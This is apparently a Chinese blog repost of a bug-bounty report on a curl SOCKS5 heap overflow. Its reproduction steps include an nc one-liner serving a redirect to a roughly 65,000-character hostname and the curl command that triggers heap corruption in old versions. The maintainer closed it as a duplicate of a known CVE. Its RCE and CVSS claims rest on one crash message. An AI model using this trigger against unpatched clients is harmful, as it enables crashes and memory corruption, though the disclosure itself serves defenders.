curl SOCKS5堆缓冲区溢出漏洞分析:恶意HTTP重引导与超长主机名

本文详细分析了curl SOCKS5代理实现中的堆缓冲区溢出漏洞,该漏洞允许攻击者通过恶意HTTP重引导包含超过255字符的主机名来破坏堆内存,可能导致远程代码执行、拒绝服务和信息泄露。

curl SOCKS5堆缓冲区溢出漏洞分析

漏洞概述

在curl的SOCKS5代理握手实现中存在一个基于堆的缓冲区溢出漏洞,当处理包含超过255个字符主机名的HTTP重引导时会发生此问题。当curl配置为使用带主机名解析的SOCKS5代理(socks5h://方案)并跟随重引导到包含超长主机名的URL时,整个主机名会通过memcpy()复制到固定大小的堆缓冲区中,导致堆内存损坏。

受影响版本

curl 8.3.0 (x86_64-pc-linux-gnu) libcurl/8.3.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 发布日期:2023-09-13

复现步骤

1. 设置SOCKS5代理服务器

1
2
3
sudo apt-get install -y dante-server
# 配置danted监听1080端口且无需认证
sudo systemctl start danted

2. 创建恶意HTTP服务器返回包含超长主机名的重引导

1
printf "HTTP/1.1 301 Moved Permanently\r\nLocation: http:///$(printf 'A%.0s' {0..65000})/\r\nContent-Length: 0\r\nConnection: close\r\n\r\n" | nc -l -p 8000 &

3. 使用SOCKS5代理和速率限制执行易受攻击的curl

1
curl -v -L --limit-rate 32768 -x socks5h://localhost:1080 http://localhost:8000

4. 观察堆损坏

1
2
3
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=65001]
Can't complete SOCKS5 connection to AAAA...
free(): invalid next size (normal)

支持材料/参考

  • 堆损坏证据:错误信息"free(): invalid next size (normal)“确认了堆元数据损坏
  • 易受攻击的代码路径:lib/socks.c - 非阻塞状态机中的SOCKS5主机名解析逻辑
  • 触发条件:需要–limit-rate < 65541字节/秒来将缓冲区大小减小到主机名长度以下
  • 受影响的缓冲区:基于堆的下载缓冲区(CURLOPT_BUFFERSIZE)

攻击场景

  • 攻击者控制恶意HTTP服务器或执行中间人攻击
  • 受害者使用带SOCKS5代理的curl(常见于企业/注重隐私的环境)
  • 恶意重引导包含超过255个字符的主机名
  • 在SOCKS5握手期间发生堆溢出

影响

严重性:高

此漏洞允许攻击者破坏堆内存,可能导致:

1. 远程代码执行(RCE)

通过适当的堆整理和漏洞利用开发,攻击者可以:

  • 控制溢出内容以覆盖关键堆结构
  • 覆盖函数指针或vtable条目
  • 重定向程序执行到攻击者控制的代码
  • 在易受攻击的应用程序上下文中实现任意代码执行

2. 拒绝服务(DoS)

堆损坏导致:

  • 立即的应用程序崩溃(在测试中已确认)
  • 依赖curl的应用程序服务中断
  • 由于内存损坏导致的系统不稳定

3. 信息泄露

取决于堆布局:

  • 可能从相邻堆块泄漏敏感数据
  • 通过损坏的指针暴露内存内容

攻击前提条件

  • 受害者必须使用带SOCKS5代理的curl(socks5h://方案)
  • 攻击者必须控制HTTP服务器或执行中间人攻击
  • 应用程序必须具有缓冲区大小 < 65,541字节(通过–limit-rate选项轻松实现)

实际影响

  • 影响全球数百万使用curl/libcurl的系统
  • 常见于自动化系统、CI/CD流水线、网络爬虫、API客户端
  • 企业环境经常使用SOCKS5代理
  • 注重隐私的用户(Tor、VPN用户)风险更高

漏洞利用证明

成功触发堆损坏,错误信息:“free(): invalid next size (normal)” 这确认了该漏洞是可利用的,不仅仅是理论上的。

额外建议

严重性评估

CVSS v3.1基础分数:7.5(高) 攻击向量:网络 攻击复杂度:低 所需权限:无 用户交互:需要(受害者必须发出HTTP请求) 范围:未改变 机密性影响:无(但存在RCE可能性) 完整性影响:高 可用性影响:高

应包含的附件

  • 显示堆损坏的完整漏洞利用输出日志
  • 概念验证脚本(exploit_cve_2023_38545.sh)
  • “free(): invalid next size"错误的截图
  • curl版本输出(curl -V)

项目响应

bagder(curl工作人员)在9天前发表评论: “感谢您的报告!我们将花时间调查您的报告,并尽快向您提供详细信息和可能的后续问题!很可能在接下来的24小时内。”

bagder在9天前发表评论: “这不是https://curl.se/docs/CVE-2023-38545.html问题吗?”

abdullah-107在9天前发表评论: “哦是的,抱歉”

bagder在9天前发表评论: “给未来的建议:尝试使用最新版本复现,而不是两年前的版本…”

bagder在8天前关闭报告并将状态更改为"不适用”

bagder在8天前请求披露此报告: “根据项目透明度政策,我们希望所有报告都被披露并公开。”

bagder在7天前披露了此报告。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计